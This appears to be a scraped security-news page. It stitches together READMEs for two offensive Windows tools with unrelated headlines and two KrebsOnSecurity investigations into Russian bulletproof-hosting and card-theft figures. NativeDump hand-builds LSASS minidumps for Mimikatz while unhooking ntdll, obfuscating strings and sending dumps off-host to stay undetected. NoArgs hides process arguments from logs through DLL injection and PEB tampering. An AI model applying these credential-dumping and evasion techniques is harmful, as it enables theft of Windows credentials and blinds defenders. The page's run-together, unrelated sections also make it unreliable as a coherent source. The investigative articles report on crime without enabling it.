NativeDump - Dump Lsass Using Only Native APIs By Hand-Crafting Minidump Files (Without MinidumpWriteDump!)

NativeDump allows to dump the lsass process using only NTAPIs generating a Minidump file with only the streams needed to be parsed by tools like Mimikatz or Pypykatz (SystemInfo, ModuleList and Memory64List Streams).

• NTOpenProcessToken and NtAdjustPrivilegeToken to get the "SeDebugPrivilege" privilege
• RtlGetVersion to get the Operating System version details (Major version, minor version and build number). This is necessary for the SystemInfo Stream
• NtQueryInformationProcess and NtReadVirtualMemory to get the lsasrv.dll address. This is the only module necessary for the ModuleList Stream
• NtOpenProcess to get a handle for the lsass process
• NtQueryVirtualMemory and NtReadVirtualMemory to loop through the memory regions and dump all possible ones. At the same time it populates the Memory64List Stream
  

Usage:

NativeDump.exe [DUMP_FILE]

The default file name is "proc_.dmp":

The tool has been tested against Windows 10 and 11 devices with the most common security solutions (Microsoft Defender for Endpoints, Crowdstrike...) and is for now undetected. However, it does not work if PPL is enabled in the system.

Some benefits of this technique are: - It does not use the well-known dbghelp!MinidumpWriteDump function - It only uses functions from Ntdll.dll, so it is possible to bypass API hooking by remapping the library - The Minidump file does not have to be written to disk, you can transfer its bytes (encoded or encrypted) to a remote machine

The project has three branches at the moment (apart from the main branch with the basic technique):

• ntdlloverwrite - Overwrite ntdll.dll's ".text" section using a clean version from the DLL file already on disk

• delegates - Overwrite ntdll.dll + Dynamic function resolution + String encryption with AES + XOR-encoding

• remote - Overwrite ntdll.dll + Dynamic function resolution + String encryption with AES + Send file to remote machine + XOR-encoding

Technique in detail: Creating a minimal Minidump file

After reading Minidump undocumented structures, its structure can be summed up to:

• Header: Information like the Signature ("MDMP"), the location of the Stream Directory and the number of streams
• Stream Directory: One entry for each stream, containing the type, total size and location in the file of each one
• Streams: Every stream contains different information related to the process and has its own format
• Regions: The actual bytes from the process from each memory region which can be read

I created a parsing tool which can be helpful: MinidumpParser.

We will focus on creating a valid file with only the necessary values for the header, stream directory and the only 3 streams needed for a Minidump file to be parsed by Mimikatz/Pypykatz: SystemInfo, ModuleList and Memory64List Streams.

A. Header

The header is a 32-bytes structure which can be defined in C# as:

public struct MinidumpHeader
{
    public uint Signature;
    public ushort Version;
    public ushort ImplementationVersion;
    public ushort NumberOfStreams;
    public uint StreamDirectoryRva;
    public uint CheckSum;
    public IntPtr TimeDateStamp;
}

The required values are: - Signature: Fixed value 0x504d44d ("MDMP" string) - Version: Fixed value 0xa793 (Microsoft constant MINIDUMP_VERSION) - NumberOfStreams: Fixed value 3, the three Streams required for the file - StreamDirectoryRVA: Fixed value 0x20 or 32 bytes, the size of the header

B. Stream Directory

Each entry in the Stream Directory is a 12-bytes structure so having 3 entries the size is 36 bytes. The C# struct definition for an entry is:

public struct MinidumpStreamDirectoryEntry
{
    public uint StreamType;
    public uint Size;
    public uint Location;
}

The field "StreamType" represents the type of stream as an integer or ID, some of the most relevant are:

C. SystemInformation Stream

First stream is a SystemInformation Stream, with ID 7. The size is 56 bytes and will be located at offset 68 (0x44), after the Stream Directory. Its C# definition is:

public struct SystemInformationStream
{
    public ushort ProcessorArchitecture;
    public ushort ProcessorLevel;
    public ushort ProcessorRevision;
    public byte NumberOfProcessors;
    public byte ProductType;
    public uint MajorVersion;
    public uint MinorVersion;
    public uint BuildNumber;
    public uint PlatformId;
    public uint UnknownField1;
    public uint UnknownField2;
    public IntPtr ProcessorFeatures;
    public IntPtr ProcessorFeatures2;
    public uint UnknownField3;
    public ushort UnknownField14;
    public byte UnknownField15;
}

The required values are: - ProcessorArchitecture: 9 for 64-bit and 0 for 32-bit Windows systems - Major version, Minor version and the BuildNumber: Hardcoded or obtained through kernel32!GetVersionEx or ntdll!RtlGetVersion (we will use the latter)

D. ModuleList Stream

Second stream is a ModuleList stream, with ID 4. It is located at offset 124 (0x7C) after the SystemInformation stream and it will also have a fixed size, of 112 bytes, since it will have the entry of a single module, the only one needed for the parse to be correct: "lsasrv.dll".

The typical structure for this stream is a 4-byte value containing the number of entries followed by 108-byte entries for each module:

public struct ModuleListStream
{
    public uint NumberOfModules;
    public ModuleInfo[] Modules;
}

As there is only one, it gets simplified to:

public struct ModuleListStream
{
    public uint NumberOfModules;
    public IntPtr BaseAddress;
    public uint Size;
    public uint UnknownField1;
    public uint Timestamp;
    public uint PointerName;
    public IntPtr UnknownField2;
    public IntPtr UnknownField3;
    public IntPtr UnknownField4;
    public IntPtr UnknownField5;
    public IntPtr UnknownField6;
    public IntPtr UnknownField7;
    public IntPtr UnknownField8;
    public IntPtr UnknownField9;
    public IntPtr UnknownField10;
    public IntPtr UnknownField11;
}

The required values are: - NumberOfStreams: Fixed value 1 - BaseAddress: Using psapi!GetModuleBaseName or a combination of ntdll!NtQueryInformationProcess and ntdll!NtReadVirtualMemory (we will use the latter) - Size: Obtained adding all memory region sizes since BaseAddress until one with a size of 4096 bytes (0x1000), the .text section of other library - PointerToName: Unicode string structure for the "C:\Windows\System32\lsasrv.dll" string, located after the stream itself at offset 236 (0xEC)

E. Memory64List Stream

Third stream is a Memory64List stream, with ID 9. It is located at offset 298 (0x12A), after the ModuleList stream and the Unicode string, and its size depends on the number of modules.

public struct Memory64ListStream
{
    public ulong NumberOfEntries; 
    public uint MemoryRegionsBaseAddress;
    public Memory64Info[] MemoryInfoEntries;
}

Each module entry is a 16-bytes structure:

public struct Memory64Info
{
    public IntPtr Address;
    public IntPtr Size;
}

The required values are: - NumberOfEntries: Number of memory regions, obtained after looping memory regions - MemoryRegionsBaseAddress: Location of the start of memory regions bytes, calculated after adding the size of all 16-bytes memory entries - Address and Size: Obtained for each valid region while looping them

F. Looping memory regions

There are pre-requisites to loop the memory regions of the lsass.exe process which can be solved using only NTAPIs:

1. Obtain the "SeDebugPrivilege" permission. Instead of the typical Advapi!OpenProcessToken, Advapi!LookupPrivilegeValue and Advapi!AdjustTokenPrivilege, we will use ntdll!NtOpenProcessToken, ntdll!NtAdjustPrivilegesToken and the hardcoded value of 20 for the Luid (which is constant in all latest Windows versions)
2. Obtain the process ID. For example, loop all processes using ntdll!NtGetNextProcess, obtain the PEB address with ntdll!NtQueryInformationProcess and use ntdll!NtReadVirtualMemory to read the ImagePathName field inside ProcessParameters. To avoid overcomplicating the PoC, we will use .NET's Process.GetProcessesByName()
3. Open a process handle. Use ntdll!OpenProcess with permissions PROCESS_QUERY_INFORMATION (0x0400) to retrieve process information and PROCESS_VM_READ (0x0010) to read the memory bytes

With this it is possible to traverse process memory by calling: - ntdll!NtQueryVirtualMemory: Return a MEMORY_BASIC_INFORMATION structure with the protection type, state, base address and size of each memory region - If the memory protection is not PAGE_NOACCESS (0x01) and the memory state is MEM_COMMIT (0x1000), meaning it is accessible and committed, the base address and size populates one entry of the Memory64List stream and bytes can be added to the file - If the base address equals lsasrv.dll base address, it is used to calculate the size of lsasrv.dll in memory - ntdll!NtReadVirtualMemory: Add bytes of that region to the Minidump file after the Memory64List Stream

G. Creating Minidump file

After previous steps we have all that is necessary to create the Minidump file. We can create a file locally or send the bytes to a remote machine, with the possibility of encoding or encrypting the bytes before. Some of these possibilities are coded in the delegates branch, where the file created locally can be encoded with XOR, and in the remote branch, where the file can be encoded with XOR before being sent to a remote machine.

NoArgs - Tool Designed To Dynamically Spoof And Conceal Process Arguments While Staying Undetected

NoArgs is a tool designed to dynamically spoof and conceal process arguments while staying undetected. It achieves this by hooking into Windows APIs to dynamically manipulate the Windows internals on the go. This allows NoArgs to alter process arguments discreetly.

Default Cmd:

Windows Event Logs:

Using NoArgs:

Windows Event Logs:

Functionality Overview

The tool primarily operates by intercepting process creation calls made by the Windows API function CreateProcessW. When a process is initiated, this function is responsible for spawning the new process, along with any specified command-line arguments. The tool intervenes in this process creation flow, ensuring that the arguments are either hidden or manipulated before the new process is launched.

Hooking Mechanism

Hooking into CreateProcessW is achieved through Detours, a popular library for intercepting and redirecting Win32 API functions. Detours allows for the redirection of function calls to custom implementations while preserving the original functionality. By hooking into CreateProcessW, the tool is able to intercept the process creation requests and execute its custom logic before allowing the process to be spawned.

Process Environment Block (PEB) Manipulation

The Process Environment Block (PEB) is a data structure utilized by Windows to store information about a process's environment and execution state. The tool leverages the PEB to manipulate the command-line arguments of the newly created processes. By modifying the command-line information stored within the PEB, the tool can alter or conceal the arguments passed to the process.

Demo: Running Mimikatz and passing it the arguments:

Process Hacker View:

All the arguemnts are hidden dynamically

Process Monitor View:

Technical Implementation

1. Injection into Command Prompt (cmd): The tool injects its code into the Command Prompt process, embedding it as Position Independent Code (PIC). This enables seamless integration into cmd's memory space, ensuring covert operation without reliance on specific memory addresses. (Only for The Obfuscated Executable in the releases page)

2. Windows API Hooking: Detours are utilized to intercept calls to the CreateProcessW function. By redirecting the execution flow to a custom implementation, the tool can execute its logic before the original Windows API function.

3. Custom Process Creation Function: Upon intercepting a CreateProcessW call, the custom function is executed, creating the new process and manipulating its arguments as necessary.

4. PEB Modification: Within the custom process creation function, the Process Environment Block (PEB) of the newly created process is accessed and modified to achieve the goal of manipulating or hiding the process arguments.

5. Execution Redirection: Upon completion of the manipulations, the execution seamlessly returns to Command Prompt (cmd) without any interruptions. This dynamic redirection ensures that subsequent commands entered undergo manipulation discreetly, evading detection and logging mechanisms that relay on getting the process details from the PEB.

Installation and Usage:

Option 1: Compile NoArgs DLL:

• You will need microsoft/Detours">Microsoft Detours installed.

• Compile the DLL.

• Inject the compiled DLL into any cmd instance to manipulate newly created process arguments dynamically.

Option 2: Download the compiled executable (ready-to-go) from the releases page.

Refrences:

• https://en.wikipedia.org/wiki/Microsoft_Detours
• https://github.com/microsoft/Detours
• https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/
• https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++

New IDAT Loader Attacks Using Steganography to Deploy Remcos RAT

PikaBot Resurfaces with Streamlined Code and Deceptive Tactics

Alert: Water Curupira Hackers Actively Distributing PikaBot Loader Malware

Meet Ika & Sal: The Bulletproof Hosting Duo from Hell

In 2020, the United States brought charges against four men accused of building a bulletproof hosting empire that once dominated the Russian cybercrime industry and supported multiple organized cybercrime groups. All four pleaded guilty to conspiracy and racketeering charges. But there is a fascinating and untold backstory behind the two Russian men involved, who co-ran the world’s top spam forum and worked closely with Russia’s most dangerous cybercriminals.

From January 2005 to April 2013, there were two primary administrators of the cybercrime forum Spamdot (a.k.a Spamit), an invite-only community for Russian-speaking people in the businesses of sending spam and building botnets of infected computers to relay said spam. The Spamdot admins went by the nicknames Icamis (a.k.a. Ika), and Salomon (a.k.a. Sal).

Spamdot forum administrator “Ika” a.k.a. “Icamis” responds to a message from “Tarelka,” the botmaster behind the Rustock botnet. Dmsell said: “I’m actually very glad that I switched to legal spam mailing,” prompting Tarelka and Ika to scoff.

As detailed in my 2014 book, Spam Nation, Spamdot was home to crooks controlling some of the world’s nastiest botnets, global malware contagions that went by exotic names like Rustock, Cutwail, Mega-D, Festi, Waledac, and Grum.

Icamis and Sal were in daily communications with these botmasters, via the Spamdot forum and private messages. Collectively in control over millions of spam-spewing zombies, those botmasters also continuously harvested passwords and other data from infected machines.

As we’ll see in a moment, Salomon is now behind bars, in part because he helped to rob dozens of small businesses in the United States using some of those same harvested passwords. He is currently housed in a federal prison in Michigan, serving the final stretch of a 60-month sentence.

But the identity and whereabouts of Icamis have remained a mystery to this author until recently. For years, security experts — and indeed, many top cybercriminals in the Spamit affiliate program — have expressed the belief that Sal and Icamis were likely the same person using two different identities. And there were many good reasons to support this conclusion.

For example, in 2010 Spamdot and its spam affiliate program Spamit were hacked, and its user database shows Sal and Icamis often accessed the forum from the same Internet address — usually from Cherepovets, an industrial town situated approximately 230 miles north of Moscow. Also, it was common for Icamis to reply when Spamdot members communicated a request or complaint to Sal, and vice versa.

Image: maps.google.com

Still, other clues suggested Icamis and Sal were two separate individuals. For starters, they frequently changed the status on their instant messenger clients at different times. Also, they each privately discussed with others having attended different universities.

KrebsOnSecurity began researching Icamis’s real-life identity in 2012, but failed to revisit any of that research until recently. In December 2023, KrebsOnSecurity published new details about the identity of “Rescator,” a Russian cybercriminal who is thought to be closely connected to the 2013 data breach at Target.

That story mentioned Rescator’s real-life identity was exposed by Icamis in April 2013, as part of a lengthy farewell letter Ika wrote to Spamdot members wherein Ika said he was closing the forum and quitting the cybercrime business entirely.

To no one’s shock, Icamis didn’t quit the business: He simply became more quiet and circumspect about his work, which increasingly was focused on helping crime groups siphon funds from U.S. bank accounts. But the Rescator story was a reminder that 10 years worth of research on who Ika/Icamis is in real life had been completely set aside. This post is an attempt to remedy that omission.

The farewell post from Ika (aka Icamis), the administrator of both the BlackSEO forum and Pustota, the successor forum to Spamit/Spamdot.

GENTLEMEN SCAMMERS

Icamis and Sal offered a comprehensive package of goods and services that any aspiring or accomplished spammer would need on a day-to-day basis: Virtually unlimited bulletproof domain registration and hosting services, as well as services that helped botmasters evade spam block lists generated by anti-spam groups like Spamhaus.org. Here’s snippet of Icamis’s ad on Spamdot from Aug. 2008, wherein he addresses forum members with the salutation, “Hello Gentlemen Scammers.”

We are glad to present you our services!
Many are already aware (and are our clients), but publicity is never superfluous.

Domains.
– all major gtlds (com, net, org, info, biz)
– many interesting and uninteresting cctlds
– options for any topic
– processing of any quantities
– guarantees
– exceptionally low prices for domains for white and gray schemes (including any SEO and affiliate spam )
– control panel with balances and auto-registration
– all services under the Ikamis brand, proven over the years;)

Servers.
– long-term partnerships with several [data centers] in several parts of the world for any topic
– your own data center (no longer in Russia ;)) for gray and white topics
– any configuration and any hardware
– your own IP networks (PI, not PA) and full legal support
– realtime backups to neutral sites
– guarantees and full responsibility for the services provided
– non-standard equipment on request
– our own admins to resolve any technical issues (services are free for clients)
– hosting (shared and vps) is also possible

Non-standard and related services.
– ssl certificates signed by geotrust and thawte
– old domains (any year, any quantity)
– beautiful domains (keyword, short, etc.)
– domains with indicators (any, for SEO, etc.)
– making unstable gtld domains stable
– interception and hijacking of custom domains (expensive)
– full domain posting via web.archive.org with restoration of native content (preliminary applications)
– any updates to our panels to suit your needs upon request (our own coders)

All orders for the “Domains” sections and “Servers” are carried out during the day (depending on our workload).
For non-standard and related services, a preliminary application is required 30 days in advance (except for ssl certificates – within 24 hours).

Icamis and Sal frequently claimed that their service kept Spamhaus and other anti-spam groups several steps behind their operations. But it’s clear that those anti-spam operations had a real and painful impact on spam revenues, and Salomon was obsessed with striking back at anti-spam groups, particularly Spamhaus.

In 2007, Salomon collected more than $3,000 from botmasters affiliated with competing spam affiliate programs that wanted to see Spamhaus suffer, and the money was used to fund a week-long distributed denial-of-service (DDoS) attack against Spamhaus and its online infrastructure. But rather than divert their spam botnets from their normal activity and thereby decrease sales, the botmasters voted to create a new DDoS botnet by purchasing installations of DDoS malware on thousands of already-hacked PCs (at a rate of $25 per 1,000 installs).

SALOMON

As an affiliate of Spamdot, Salomon used the email address ad1@safe-mail.net, and the password 19871987gr. The breach tracking service Constella Intelligence found the password 19871987gr was used by the email address grichishkin@gmail.com. Multiple accounts are registered to that email address under the name Alexander Valerievich Grichishkin, from Cherepovets.

In 2020, Grichishkin was arrested outside of Russia on a warrant for providing bulletproof hosting services to cybercriminal gangs. The U.S. government said Grichishkin and three others set up the infrastructure used by cybercriminals between 2009 to 2015 to distribute malware and attack financial institutions and victims throughout the United States.

Those clients included crooks using malware like Zeus, SpyEye, Citadel and the Blackhole exploit kit to build botnets and steal banking credentials.

“The Organization and its members helped their clients to access computers without authorization, steal financial information (including banking credentials), and initiate unauthorized wire transfers from victims’ financial accounts,” the government’s complaint stated.

Grichishkin pleaded guilty to conspiracy charges and was sentenced to four years in prison. He is 36 years old, has a wife and kids in Thailand, and is slated for release on February 8, 2024.

ICAMIS, THE PHANTOM GRADUATE

The identity of Icamis came into view when KrebsOnSecurity began focusing on clues that might connect Icamis to Cherepovets (Ika’s apparent hometown based on the Internet addresses he regularly used to access Spamdot).

Historic domain ownership records from DomainTools.com reveal that many of the email addresses and domains connected to Icamis invoke the name “Andrew Artz,” including icamis[.]ws, icamis[.]ru, and icamis[.]biz. Icamis promoted his services in 2003 — such as bulk-domains[.]info — using the email address icamis@4host.info. From one of his ads in 2005:

Domains For Projects Advertised By Spam

I can register bulletproof domains for sites and projects advertised by spam(of course they must be legal). I can not provide DNS for u, only domains. The price will be:

65$ for domain[if u will buy less than 5 domains]

50$ for domain[more than 5 domains]

45$ for domain[more than 10 domains]

These prices are for domains in the .net & .com zones.

If u want to order domains write me to: icamis@4host.info

In 2009, an “Andrew Artz” registered at the hosting service FirstVDS.com using the email address icamis@4host.info, with a notation saying the company name attached to the account was “WMPay.” Likewise, the bulletproof domain service icamis[.]ws was registered to an Andrew Artz.

The domain wmpay.ru is registered to the phonetically similar name “Andrew Hertz,” at andrew@wmpay.ru. A search on “icamis.ru” in Google brings up a 2003 post by him on a discussion forum designed by and for students of Amtek, a secondary school in Cherepovets (Icamis was commenting from an Internet address in Cherepovets).

The website amtek-foreva-narod.ru is still online, and it links to several yearbooks for Amtek graduates. It states that the yearbook for the Amtek class of 2004 is hosted at 41.wmpay[.]com.

The yearbook photos for the Amtek class of 2004 are not indexed in the Wayback Machine at archive.org, but the names and nicknames of 16 students remain. However, it appears that the entry for one student — the Wmpay[.]com site administrator — was removed at some point.

In 2004, the administrator of the Amtek discussion forum — a 2003 graduate who used the handle “Grand” — observed that there were three people named Andrey who graduated from Amtek in 2004, but one of them was conspicuously absent from the yearbook at wmpay[.]ru: Andrey Skvortsov.

To bring this full circle, Icamis was Andrey Skvortsov, the other Russian man charged alongside Grichiskin (the two others who pleaded guilty to conspiracy charges were from Estonia and Lithuania). All of the defendants in that case pleaded guilty to conspiracy to engage in a Racketeer Influenced Corrupt Organization (RICO).

[Author’s note: No doubt government prosecutors had their own reasons for omitting the nicknames of the defendants in their press releases, but that information sure would have saved me a lot of time and effort].

SKVORTSOV AND THE JABBERZEUS CREW

Skvortsov was sentenced to time served, and presumably deported. His current whereabouts are unknown and he was not reachable for comment via his known contact addresses.

The government says Ika and Sal’s bulletproof hosting empire provided extensive support for a highly damaging cybercrime group known as the JabberZeus Crew, which worked closely with the author of the Zeus Trojan — Evgeniy Mikhailovich Bogachev — to develop a then-advanced strain of the Zeus malware that was designed to defeat one-time codes for authentication. Bogachev is a top Russian cybercriminal with a standing $3 million bounty on his head from the FBI.

The JabberZeus Crew stole money by constantly recruiting money mules, people in the United States and in Europe who could be enticed or tricked into forwarding money stolen from cybercrime victims. Interestingly, Icamis’s various email addresses are connected to websites for a vast network of phony technology companies that claimed they needed people with bank accounts to help pay their overseas employees.

Icamis used the email address tech@safe-mail.net on Spamdot, and this email address is tied to the registration records for multiple phony technology companies that were set up to recruit money mules.

One such site — sun-technology[.]net — advertised itself as a Hong Kong-based electronics firm that was looking for “honest, responsible and motivated people in UK, USA, AU and NZ to be Sales Representatives in your particular region and receive payments from our clients. Agent commission is 5 percent of total amount received to the personal bank account. You may use your existing bank account or open a new one for these purposes.”

In January 2010, KrebsOnSecurity broke the news that the JabberZeus crew had just used money mules to steal $500,000 from tiny Duanesburg Central School District in upstate New York. As part of his sentence, Skvortsov was ordered to pay $497,200 in restitution to the Duanesburg Central School District.

The JabberZeus Crew operated mainly out of the eastern Ukraine city of Donetsk, which was always pro-Russia and is now occupied by Russian forces. But when Russia invaded Ukraine in February 2022, the alleged leader of the notorious cybercrime gang — Vyacheslav Igoravich Andreev (a.ka. Penchukov) — fled his mandatory military service orders and was arrested in Geneva, Switzerland. He is currently in federal custody awaiting trial, and is slated to be arraigned in U.S. federal court tomorrow (Jan. 9, 2024). A copy of the indictment against Andreev is here (PDF).

Andreev, aka “Tank,” seen here performing as a DJ in Ukraine in an undated photo from social media.

New Malvertising Campaign Distributing PikaBot Disguised as Popular Software

Ten Years Later, New Clues in the Target Breach

On Dec. 18, 2013, KrebsOnSecurity broke the news that U.S. retail giant Target was battling a wide-ranging computer intrusion that compromised more than 40 million customer payment cards over the previous month. The malware used in the Target breach included the text string “Rescator,” which also was the handle chosen by the cybercriminal who was selling all of the cards stolen from Target customers. Ten years later, KrebsOnSecurity has uncovered new clues about the real-life identity of Rescator.

Rescator, advertising a new batch of cards stolen in a 2014 breach at P.F. Chang’s.

Shortly after breaking the Target story, KrebsOnSecurity reported that Rescator appeared to be a hacker from Ukraine. Efforts to confirm my reporting with that individual ended when they declined to answer questions, and after I declined to accept a bribe of $10,000 not to run my story.

That reporting was based on clues from an early Russian cybercrime forum in which a hacker named Rescator — using the same profile image that Rescator was known to use on other forums — claimed to have originally been known as “Helkern,” the nickname chosen by the administrator of a cybercrime forum called Darklife.

KrebsOnSecurity began revisiting the research into Rescator’s real-life identity in 2018, after the U.S. Department of Justice unsealed an indictment that named a different Ukrainian man as Helkern.

It may be helpful to first recap why Rescator is thought to be so closely tied to the Target breach. For starters, the text string “Rescator” was found in some of the malware used in the Target breach. Investigators would later determine that a variant of the malware used in the Target breach was used in 2014 to steal 56 million payment cards from Home Depot customers. And once again, cards stolen in the Home Depot breach were sold exclusively at Rescator’s shops.

On Nov. 25, 2013, two days before Target said the breach officially began, Rescator could be seen in instant messages hiring another forum member to verify 400,000 payment cards that Rescator claimed were freshly stolen.

By the first week of December 2013, Rescator’s online store — rescator[.]la — was selling more than six million payment card records stolen from Target customers. Prior to the Target breach, Rescator had mostly sold much smaller batches of stolen card and identity data, and the website allowed cybercriminals to automate the sending of fraudulent wire transfers to money mules based in Lviv, Ukraine.

Finally, there is some honor among thieves, and in the marketplace for stolen payment card data it is considered poor form to advertise a batch of cards as “yours” if you are merely reselling cards sold to you by a third-party card vendor or thief. When serious stolen payment card shop vendors wish to communicate that a batch of cards is uniquely their handiwork or that of their immediate crew, they refer to it as “our base.” And Rescator was quite clear in his advertisements that these millions of cards were obtained firsthand.

FLASHBACK

The new clues about Rescator’s identity came into focus when I revisited the reporting around an April 2013 story here that identified the author of the OSX Flashback Trojan, an early Mac malware strain that quickly spread to more than 650,000 Mac computers worldwide in 2012.

That story about the Flashback author was possible because a source had obtained a Web browser authentication cookie for a founding member of a Russian cybercrime forum called BlackSEO. Anyone in possession of that cookie could then browse the invite-only BlackSEO forum and read the user’s private messages without having to log in.

BlackSEO.com VIP member “Mavook” tells forum admin Ika in a private message that he is the Flashback author.

The legitimate owner of that BlackSEO user cookie went by the nickname Ika, and Ika’s private messages on the forum showed he was close friends with the Flashback author. At the time, Ika also was the administrator of Pustota[.]pw — a closely-guarded Russian forum that counted among its members some of the world’s most successful and established spammers and malware writers.

For many years, Ika held a key position at one of Russia’s largest Internet service providers, and his (mostly glowing) reputation as a reliable provider of web hosting to the Russian cybercrime community gave him an encyclopedic knowledge about nearly every major player in that scene at the time.

The story on the Flashback author featured redacted screenshots that were taken from Ika’s BlackSEO account (see image above). The day after that story ran, Ika posted a farewell address to his mates, expressing shock and bewilderment over the apparent compromise of his BlackSEO account.

In a lengthy post on April 4, 2013 titled “I DON’T UNDERSTAND ANYTHING,” Ika told Pustota forum members he was so spooked by recent events that he was closing the forum and quitting the cybercrime business entirely. Ika recounted how the Flashback story had come the same week that rival cybercriminals tried to “dox” him (their dox named the wrong individual, but included some of Ika’s more guarded identities).

“It’s no secret that karma farted in my direction,” Ika said at the beginning of his post. Unbeknownst to Ika at the time, his Pustota forum also had been completely hacked that week, and a copy of its database shared with this author.

A Google translated version of the farewell post from Ika, the administrator of Pustota, a Russian language cybercrime forum focused on botnets and spam. Click to enlarge.

Ika said the two individuals who tried to dox him did so on an even more guarded Russian language forum — DirectConnection[.]ws, perhaps the most exclusive Russian cybercrime community ever created. New applicants of this forum had to pay a non-refundable deposit, and receive vouches by three established cybercriminals already on the forum. Even if one managed to steal (or guess) a user’s DirectConnection password, the login page could not be reached unless the visitor also possessed a special browser certificate that the forum administrator gave only to approved members.

In no uncertain terms, Ika declared that Rescator went by the nickname MikeMike on DirectConnection:

“I did not want to bring any of this to real life. Especially since I knew the patron of the clowns – specifically Pavel Vrublevsky. Yes, I do state with confidence that the man with the nickname Rescator a.k.a. MikeMike with his partner Pipol have been Pavel Vrublevsky’s puppets for a long time.”

Pavel Vrublevsky is a convicted cybercriminal who became famous as the CEO of the Russian e-payments company ChronoPay, which specialized in facilitating online payments for a variety of “high-risk” businesses, including gambling, pirated Mp3 files, rogue antivirus software and “male enhancement” pills.

As detailed in my 2014 book Spam Nation, Vrublevsky not-so-secretly ran a pharmacy affiliate spam program called Rx-Promotion, which paid spammers and virus writers to blast out tens of billions of junk emails advertising generic Viagra and controlled pharmaceuticals like pain relief medications. Much of my reporting on Vrublevsky’s cybercrime empire came from several years worth of internal ChronoPay emails and documents that were leaked online in 2010 and 2011.

Pavel Vrublevsky’s former Facebook profile photo.

ZAXVATMIRA

In 2014, KrebsOnSecurity learned from a trusted source close to the Target breach investigation that the user MikeMike on DirectConnection — the same account that Ika said belonged to Rescator — used the email address “zaxvatmira@gmail.com.”

At the time, KrebsOnSecurity could not connect that email address to anything or anyone. However, a recent search on zaxvatmira@gmail.com at the breach tracking service Constella Intelligence returns just one result: An account created in November 2010 at the site searchengines[.]ru under the handle  “r-fac1.”

A search on “r-fac1” at cyber intelligence firm Intel 471 revealed that this user’s introductory post on searchengines[.]ru advertised musictransferonline[.]com, an affiliate program that paid people to drive traffic to sites that sold pirated music files for pennies apiece.

According to leaked ChronoPay emails from 2010, this domain was registered and paid for by ChronoPay. Those missives also show that in August 2010 Vrublevsky authorized a payment of ~$1,200 for a multi-user license of an Intranet service called MegaPlan.

ChronoPay used the MegaPlan service to help manage the sprawling projects that Vrublevsky referred to internally as their “black” payment processing operations, including pirated pills, porn, Mp3s, and fake antivirus products. ChronoPay employees used their MegaPlan accounts to track payment disputes, order volumes, and advertising partnerships for these high-risk programs.

Borrowing a page from the Quentin Tarantino movie Reservoir Dogs, the employees adopted nicknames like “Mr. Kink,” “Mr. Heppner,” and “Ms. Nati.” However, in a classic failure of operational security, many of these employees had their MegaPlan account messages automatically forwarded to their real ChronoPay email accounts.

A screen shot of the org chart from ChronoPay’s MegaPlan Intranet system.

When ChronoPay’s internal emails were leaked in 2010, the username and password for its MegaPlan subscription were still working and valid. An internal user directory for that subscription included the personal (non-ChronoPay) email address tied to each employee Megaplan nickname. That directory listing said the email address zaxvatmira@gmail.com was assigned to the head of the Media/Mp3 division for ChronoPay, pictured at the top left of the organizational chart above as “Babushka Vani and Koli.”

[Author’s note: I initially overlooked the presence of the email address zaxvatmira@gmail.com in my notes because it did not show up in text searches of my saved emails, files or messages. I rediscovered it recently when a text search for zaxvatmira@gmail.com on my Mac found the address in a screenshot of the ChronoPay MegaPlan interface.]

The nickname two rungs down from “Babushka” in the ChronoPay org chart is “Lev Tolstoy,” which the MegaPlan service showed was picked by someone who used the email address v.zhabukin@freefrog-co-ru.

ChronoPay’s emails show that this Freefrog email address belongs to a Vasily Borisovich Zhabykin from Moscow. The Russian business tracking website rusprofile[.]ru reports that Zhabykin is or was the supervisor or owner of three Russian organizations, including one called JSC Hot Spot.

[Author’s note: The word “babushka” means “grandma” in Russian, and it could be that this nickname is a nod to the ChronoPay CEO’s wife, Vera. The leaked ChronoPay emails show that Vera Vrublevsky managed a group of hackers working with their media division, and was at least nominally in charge of MP3 projects for ChronoPay. Indeed, in messages exposed by the leaked ChronoPay email cache, Zhabykin stated that he was “directly subordinate” to Mrs. Vrublevsky].

CYBERCRIME HOTSPOT

JSC Hot Spot is interesting because its co-founder is another ChronoPay employee: 37-year-old Mikhail “Mike” Shefel. A Facebook profile for Mr. Shefel says he is or was vice president of payment systems at ChronoPay. However, the last update on that profile is from 2018, when Shefel appears to have legally changed his last name.

Archive.org shows that Hot Spot’s website — myhotspot[.]ru — sold a variety of consulting services, including IT security assessments, code and system audits, and email marketing. The earliest recorded archive of the Hot Spot website listed three clients on its homepage, including ChronoPay and Freefrog.

ChronoPay internal emails show that Freefrog was one of its investment projects that facilitated the sale of pirated Mp3 files. Rusprofile[.]ru reports that Freefrog’s official company name — JSC Freefrog — is incorporated by a thinly-documented entity based in the Seychelles called Impex Consulting Ltd., and it is unclear who its true owners are.

However, a search at DomainTools.com on the phone number listed on the homepage of myhotspot[.]ru (74957809554) reveals that number is associated with eight domain names.

Six of those domains are some variation of FreeFrog. Another domain registered to that phone number is bothunter[.]me, which included a copyright credit to “Hot Spot 2011.” At the annual Russian Internet Week IT convention in Moscow in 2012, Mr. Shefel gave a short presentation about bothunter, which he described as a service he designed to identify inauthentic (bot) accounts on Russian social media networks.

Interestingly, one of r-fac1’s first posts to Searchengines[.]ru a year earlier saw this user requesting help from other members who had access to large numbers of hacked social media accounts. R-fac1 told forum members that he was only looking to use those accounts to post harmless links and comments to the followers of the hacked profiles, and his post suggested he was testing something.

“Good afternoon,” r-fac1 wrote on Dec. 20, 2010. “I’m looking for people with their own not-recently-registered accounts on forums, (except for search) Social networks, Twitter, blogs, their websites. Tasks, depending on your accounts, post text and a link, sometimes just a link. Most often the topic is chatter, relaxation, discussion. Posting my links in your profiles, on your walls. A separate offer for people with a large set of contacts in instant messengers to try to use viral marketing.”

Neither Mr. Shefel nor Mr. Zhabykin responded to requests for comment.

WHERE ARE THEY NOW?

Mr. Zhabykin soon moved on to bigger ventures, co-founding a cryptocurrency exchange based in Moscow’s financial center called Suex. In September 2021, Suex earned the distinction of becoming the first crypto firm to be sanctioned by the U.S. Department of the Treasury, which effectively blocked Suex from the global financial system. The Treasury alleged Suex helped to process millions in criminal transactions, including the proceeds of numerous ransomware attacks.

“I don’t understand how I got mixed up in this,” Zhabykin told The New York Times in 2021. Zhabykin said Suex, which is registered in the Czech Republic, was mostly a failure and had conducted only a half dozen or so transactions since 2019.

